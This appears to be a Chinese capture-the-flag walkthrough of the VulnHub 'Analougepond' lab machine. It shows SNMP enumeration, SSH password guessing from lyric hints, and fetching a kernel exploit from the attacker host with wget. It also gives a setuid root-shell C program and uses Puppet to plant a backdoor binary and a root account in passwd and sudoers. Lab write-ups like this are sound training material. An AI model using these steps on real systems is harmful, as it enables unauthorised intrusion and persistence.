一、环境搭建
1,靶场下载连接:https://www.vulnhub.com/entry/analougepond-1,185/
2,下载完成之后使用VirtualBox虚拟机软件导入即可
3,启动靶场
二、渗透练习
1,收集信息,获取靶机ip地址
输入命令 netdiscover 获取靶场ip地址为 192.168.1.103
2,扫描靶场服务信息
输入命令:nmap -sS -sU -T4 -A -v 192.168.1.103
获取到靶场开启了,22和161端口
22端口:说明开启了ssh服务
161端口:说明SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。
3,使用snmp扫描模块获取信息
输入命令
msfconsole
use auxiliary/scanner/snmp/snmp_enum
set rhosts 192.168.1.103
run
获取到一个用户名:eric
以及一串英语 :There is a house in New Orleans they call it...
4,搜索这串英语,发现是《House of the Rising Sun》这首歌的歌词, PS:听了一下,感觉还不错
There is a house in New Orleans
在纽奥良有一间屋子
They call the Rising Sun
人们都叫它 日升之屋
5,尝试使用ssh登录
输入命令 ssh [email protected],发现可以登录
需要密码,根据msf扫描到的提示信息,推理密码为therisingsun,登录成功,只用歌词的头和尾
6,进行提权
收集内核信息,uname -a ,发现系统内核为ubuntu 14.04
7,寻找可以exp
输入命令 searchsploit ubuntu 14.04,发现可用提权脚本39166.c
启动apache2服务
service apache2 start
将39166.c脚本移动到apache目录
cp /usr/share/exploitdb/exploits/linux/local/39166.c /var/www/html
8,在靶场下载39166.c这个exp脚本
wget http://192.168.1.102/39166.c
使用gcc对脚本进行编译,输入命令 gcc 39166.c -o exp即可进行编译
gcc 后边指定要编译的文件
-o参数,表示输出文件名
编译成功之后会直接具备可执行权限,直接运行编译之后的脚本,./exp 提权成功
9,查看flag.txt文件
cat /root/flag.txt
显然,这不算成功,按照提示flag还没有找到
10,使用find / -name "flag*",搜索发现只有一个flag.txt,可得知其他flag不在本机
11,收集靶机内网信息
通过iptables -L获取信息
输入命令 arp -n,得信息,靶场上还有两台虚拟机,ip地址为192.168.122.2 和 192.168.122.3
12,尝试使用ssh连接两台主机
主机 192.168.122.2会返回信息
192.168.122.3,没有响应
13,根据192.168.122.2的提示信息
意思是,sandie shaw的最著名的歌曲是登录信息,登录的时候把空格删除了,搜索了一下,她著名的歌曲是puppet on astring
所以可以使用ssh进行登录了
输入命令 ssh [email protected]
密码为:puppetonastring
登录成功
14,收集信息,发现/etc/puppet/modules/vulnhub/files目录下有账户信息
查看ssh配置文件,发现必需使用公钥
15,对192.168.122.2进行提权
搜索有s权限的文件,find / -perm -4000 2>/dev/null
发现在 /tmp下有个 spin
寻找spin.c文件,发现在/etc/puppet/modules/wiggle/files的目录下
查看spin.c内容
cat spin.c
源代码和可执行文件都是当前登陆的账户
进入/etc/puppet/modules/wiggle/manifests目录,查看init.pp文件,发现这个文件必需用spin
16,在靶场外围机192.168.1.103上,创建一个spin文件用来提权
首先创建一个代码脚本文件,vim shell.c
源码为:
#include
#include
#include
int main(void) { setuid(0); setgid(0); system("/bin/sh"); }
使用gcc进行编译,gcc shell.c -o spin,输出的文件名一定要是spin
将自己建立好的spin文件,上传到之前的文件路径,把默认的spin覆盖掉
scp spin [email protected]:/etc/puppet/modules/wiggle/files/spin
执行上传时候,还需要数据192.168.122.2的密码
上传成功
17,重新使用ssh连接192.168.122.2
进入之前上传的目录/etc/puppet/modules/wiggle/files
运行上传的spin脚本文件
./spin
发现成功执行,没有问题
之后执行puppet agent,更新spin文件
更新之后,执行./spin
然后 exit退出
再使用/tmp/spin,就提权成功!!PS:原因暂时没有完全弄懂,如果哪位明白,请指教
18,查看root目录
cat jim
cat melvin
cat flag1.txt.0xff
得到字符串:3d3d674c7534795a756c476130565762764e4849793947496c4a585a6f5248496b4a3362334e3363684248496842435a756c6d5a675148616e6c5762675533623542434c756c47497a564764313557617442794d79415362764a6e5a674d585a7446325a79463256676732593046326467777961793932646751334a754e585a765247497a6c47613042695a4a4279615535454d70647a614b706b5a48316a642f67325930463264763032626a35535a6956486431395765756333643339794c364d486330524861
字符串为16位加密,可以先进行解密,得到字符串
==gLu4yZulGa0VWbvNHIy9GIlJXZoRHIkJ3b3N3chBHIhBCZulmZgQHanlWbgU3b5BCLulGIzVGd15WatByMyASbvJnZgMXZtF2ZyF2Vgg2Y0F2dgwyay92dgQ3JuNXZvRGIzlGa0BiZJByaU5EMpdzaKpkZH1jd/g2Y0F2dv02bj5SZiVHd19Weuc3d39yL6MHc0RHa
明显字符串为Base64加密的,顺序颠倒了,所以把字符串倒过来,得到
字符串:aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1HZkpKazdpME5UayBJZiB0aGlzIGRvZXNuJ3Qgd29yaywgd2F0Y2ggV2FyZ2FtZXMgZnJvbSAyMyBtaW51dGVzIGluLCB5b3UgbWlnaHQgZmluZCBhIHBhc3N3b3JkIHRoZXJlIG9yIHNvbWV0aGluZy4uLg==
对字符串解密,得到明文信息:
https://www.youtube.com/watch?v=GfJJk7i0NTk If this doesn't work, watch Wargames from 23 minutes in, you might find a password there or something...
19,看了下链接的视频,因为本人英语垃圾,完全不知道如何解密,查询网上攻略,得知jim密码为secrets, PS:如果哪位大佬知道是如何解密的,请指教
20,查看root下所有文件,得到一个目录
/root/protovision/.I_have_you_now/.a/.b/.c/.d/.e/.f/.g/.h/.i/.j/.k/.l/.m/.n/.o/.p/.q/.r/.s/.t/.u./v./w./x./y/.z
查看该目录下文件
21,cat my_world_you_are_persistent_try
22,gpg nleeson_key.gpg,会提示需要密码,密码为看之前视频得到的密码secrets
23,查看之后会发现得到一个nleeson_key文件,查看文件,发现是一个私钥文件
cat nleeson_key
24,使用得到的私钥文件,登录192.168.122.3
输入命令 chmod 600 nleeson_key,使用私钥文件,其他权限必需为0
输入命令 ssh [email protected] -i nleeson_key,连接192.168.122.3这台机器,提示需要密码,输入密码为joshua,也就是my_world_you_are_persistent_try文件下得到的信息,连接成功
25,对192.168.122.3进行提权
因为找遍192.168.122.3的机器没发现有任何能利用的,所以退出这台,重新返回192.168.122.2这台机器
使用这条命令,生成一串密钥openssl passwd -1 -salt xyz testpass,密码为testpass
修改/etc/puppet/modules/vulnhub/files/barringsbank-passwd,密码文件,添加账户anthony,密码为之前生成的
然后修改/etc/puppet/modules/vulnhub/files/sudoers,文件
26,重新连接192.168.122.3
更新puppet信息,输入命令ppet agent --server 192.168.122.2
cat passwd,会发现添加的账户已经更新进去了
27,因为添加的账户为root权限的,所以直接切换添加的账户,即可提权成功
输入命令 :su - anthony
输入密码:testpass
提示没有home目录,没关系
再次输入命令sudo su,就会登录root账户
28,到root目录下,发现me.jpeg文件
29,将me.jpeg传输到攻击机192.168.1.102
scp me.jpeg [email protected]:/var/www/html/me.jpeg
30,攻击机找到传输的文件
输入命令steghide --extract -sf me.jpeg,提取文件信息
Steghide是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且你不会注意到图片或音频文件发生了任何的改变。而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。
提示需要密码,eric电脑中也就是靶机192.168.1.103中有个名为reticulatingsplines.gif的图像,输入密码reticulatingsplines,提取成功
输入图像名reticulatingsplines为密码之后,提权成功,提权到文件primate_egyptian_flag.txt
31,查看提取到的文件,发现为16位加密字符串,截图为部分字符串
解码之后字符串为:
gACIgACIgACIgACIgACIgACIgACIgAiCK4iLuU3b5BicvZGIzNXYiBiclRmblZGIhBycnUmclhkC
gACIgACIgACIgACIgACIgACIgACIgACIgACIK8lLt0SLu8FIgACIgACIg4SLsACIgACIgACIgACI
gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK4CYgACIgACIgcyJt4yXf5CXgBCI8BCIgACI
f91Xf91Xf91Xf91Xf91Xu0zKrsCLgACIgACIgACIgAiCcBCIg4CLgAyXgACIgACIgAyXgACXgACI
90TP90TP90TP90TP90TP94ybv9mLfhCIgACIgACIgACIKwHIgACI8x3X89Fff91Xf91X8x3Xp81X
8BCIgACIgACIgACIgACIgACIn4nfgACIgACIgACIgACIgoAfgACIgwHf9wXP81TP90TP9wHf90TP
gwFIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK8CIg8GIvByJ+BGIgACIgAyJ+BCI
gcifgBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK8CIg8GIvBCIgACIcBmfvACI
vZGIk5WYg4WahdWYgU2Yu9GI19Weg8GdgMnbvlGdhxWd0Fmcn52bDpgCKAyJt4yXf91Xu0CYgACI
g8GdgQWZpJHdgUmdnkkCKASInFGbmpwcphGdgcmbpJXd0BXYjBibvBSZtlGdggGd4l2cgUGa0Bic
sB3chRXZtBydvJHa0BSbvJnZgkXY3FGIlZ3btByb0BCLlJXZoBCdpJGIhBCc1Bycn5WaoRHI4lWb
0BCZll3bq5WZgUmdhhGI19WegUGcvhGIJBiLzdmbphGdgQXYgMHdp9GbwhXZgIWZ3BCZuFmC0l2b
wBXYgUmYgQGb192dgQ3YlB3chBycphGdg42bgs2YhJGZlVmZKIXdvlHIk5WYg42bpRncvBHI0FGa
jV2cgMWa0FWbvRXdhBybkByb0BCdlNHIlJXYgMXTWBSZzVGa0BCLlR3buBiZPpgCuQWZ0FWajVmc
gM3ZulGa0BCclV2ag8GdgQHanV3bgMXaoRHIvNnCsQXZwBXdwByZul2c1ByclRXYkBXdgkHdpJXd
C1GMk5WYSBCLuNjQy1GIvRHIztmbhhGdgknbh1kCK4SZsB3blBHIy9mZgg2Z19mblByYp1WYulHZ
5ByauFGa0BCbhl2YlB3cgEkCK4iRUNEIzlGa0ByZulGdzVGdgI3bmBieu5Wa2V2agQmbhBiWlRXe
hZnClhGdgQmbhBycldmblxGbhh2YgU2clhGdgwGbhByZulGdz9GagI3bmByaxkWb0BzZg8GdgU3b
hBCduV2YlJHIzlGagI3bmBibzImctByb0BCdhhGIlhGdgY2bgAXa0BSQg4SZjlmdkFGIlxmYhVHb
vZGIn5War92bsBSZyFGI19WegYWagIXZ0RXa3RHIy9GIDJVSg42bgUWbKQXaIBiLlNmbhR3cpN3c
0VGbw12bDBCLu9GIvdkCK4SZn5WZsxWYoNmClhGdgQWZ0VGbw12bjBSZ2FGagI3bgQnbphGIhBic
zRmbllmcGBic19EIm9GIxMCIlR2bzlGclBiZvBSN0ozNwAyb0BCMzojNwAiOlx2Yyl2YgUGa0BSZ
gowPu4iLu42bpR3Yl5mbvNGIlhGdgM3J0FGaXBiLuUTO5EDIDJkQgkyQoACa0J3bOBSZoRlCulEI
gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACI
=oQZyFWb0h2Zp52St0CI
应该还是反的,反转之后字符串为:
CkhlcmUncyBhIGZlbmRlciBiYXNzIGZvciB5b3UuLi4KCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAsLS4gICAgICAgIF8uLS0tLl8KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB8ICBgXC5fXy4tJycgICAgICAgYC4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgXCAgXyAgICAgICAgXyAgLC4gICBcCiAgICAgICAgICAgLCsrKz0uX19fX19fX19fX19fX19f
X18pX3x8X19fX19ffF98X3x8ICAgIHwKICAgICAgICAgIChfLm9vby49PT09PT09PT09PT09PT09
PT09fHw9PT09PT18PXw9fHwgICAgfAogICAgICAgICAgICAgfn4nICAgICAgICAgICAgICAgICB8
ICB+JyAgICAgIGB+JyBvIG8gIC8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwg
ICAvfmBcICAgICBvIG8gIC8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBgficg
ICAgYC0uX19fXy4tJyAKCgpDb25ncmF0dWxhdGlvbnMgdG8geW91IG9uY2UgYWdhaW4gYW5kIGZv
ciB0aGUgc2l4dGggdGltZSBvbiBjYXB0dXJpbmcgdGhpcwpmbGFnISAKCkkndmUgdHJpZWQgdG8g
bWl4IHRoaW5ncyB1cCBhIGJpdCBoZXJlLCB0byBtb3ZlIGF3YXkgZnJvbSB0aHJvdyBtZXRhc3Bs
b2l0CmFuZCB3ZWIgZXhwbG9pdHMgYXQgdGhpbmdzLiBJIGhvcGUgeW91IGhhdmUgZW5qb3llZCB0
aGF0IHBvcnRpb24gYW5kIHlvdXIKZmVlZGJhY2sgb24gdGhpcyBhc3BlY3Qgd291bGQgYmUgYXBw
cmVjaWF0ZWQuCgpPZiBub3RlLCB0aGVzZSBWTXMgYXJlIHNldCB0byBkbyBhdXRvbWF0aWMgc2Vj
dXJpdHkgdXBkYXRlcyB1c2luZyBwdXBwZXQsCnNvIHRoaXMgb3VnaHQgdG8ga2VlcCB0aGluZ3Mg
ZHluYW1pYyBlbm91Z2ggZm9yIHBlb3BsZS4KCk1hbnkgdGhhbmtzIHRvIG1yQjNuLCBSYW5kMG1C
eXRlWiBhbmQga2V2aW5ueiBmb3IgdGVzdGluZyB0aGlzIENURi4KCkEgc3BlY2lhbCB0aGFuayB5
b3UgdG8gZzB0bWkxayBmb3IgaG9zdGluZyBhbGwgdGhlc2UgY2hhbGxlbmdlcyBhbmQgdGhlCnZh
bHVhYmxlIGFkdmljZS4gQSB0aXAgb2YgdGhlIGhhdCB0byBtcmIzbiBmb3IgaGlzIHJlY2VudCBh
c3Npc3RhbmNlLiBIaXQKbWUgb24gSVJDIG9yIHR3aXR0ZXIgaWYgeW91IGFyZSBsb29raW5nIGZv
ciBhIGhpbnQgb3IgaGF2ZSBjb21wbGV0ZWQgdGhlCmNoYWxsZW5nZS4KCkdvIG9uLCBDb21wbGV0
ZSB0aGUgY2lyY2xlOiAwNjozMCB0byAwNzo0NSBvZiBlcGlzb2RlICMxIG9mIE91ciBGcmllbmRz
IEluClRoZSBOb3J0aCAoQykgQkJDIDE5OTUuLiBXaGF0J3MgdGhlIGNvbm5lY3Rpb24uLi4uPwog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IC0tS25pZ2h0bWFyZQo=
最后解密,得到flag
完